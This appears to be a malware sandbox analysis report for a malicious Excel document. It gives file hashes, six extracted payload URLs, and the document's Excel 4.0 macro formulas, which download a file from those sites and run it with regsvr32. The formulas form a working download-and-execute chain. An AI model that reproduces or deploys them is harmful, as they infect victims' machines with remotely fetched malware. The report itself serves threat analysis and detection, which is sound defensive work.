General
-
Target
4d3de17c2ab1b07c4c0bdce8a9f55b063f910785a8c08d4f3e36a7d7aee5b69b
-
Size
40KB
-
MD5
c0ab777cfe25ac3bf88dbb85abb036ed
-
SHA1
857dbcc23d2003618517ccf8d6256d71377f7808
-
SHA256
4d3de17c2ab1b07c4c0bdce8a9f55b063f910785a8c08d4f3e36a7d7aee5b69b
-
SHA512
e4d8a9ac2a8f5bc074e97f8ca0347a5c24bd710b06187a990c3765ff6c55350b97b926afcd514d0bf47cbbe6aa0cbcf38decec7c05f302aa40858cfefe296162
-
SSDEEP
768:K/omdH+DOevZCwttqyKfcrND59V+L9Rw4eWrXcTqZ0VP2HLp:momdH+DoylND59V4jwmXc2CVCF
Malware Config
Extracted
http://vipteck.com/wp-content/M/
https://shofarshoshanna.com/t0ssm/roE/
https://santacruzam.com/wp-admin/FeDgNEP/
https://thearkrealmproject.com/wp-admin/wxB4Wp3KyEMCsZva/
https://kingspointresidence.com/camelia-diamond_/G/
https://rockadile.nl/blogs/36DlPQKwRR1vOFQR/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-content/M/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shofarshoshanna.com/t0ssm/roE/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://santacruzam.com/wp-admin/FeDgNEP/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thearkrealmproject.com/wp-admin/wxB4Wp3KyEMCsZva/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kingspointresidence.com/camelia-diamond_/G/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rockadile.nl/blogs/36DlPQKwRR1vOFQR/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
4d3de17c2ab1b07c4c0bdce8a9f55b063f910785a8c08d4f3e36a7d7aee5b69b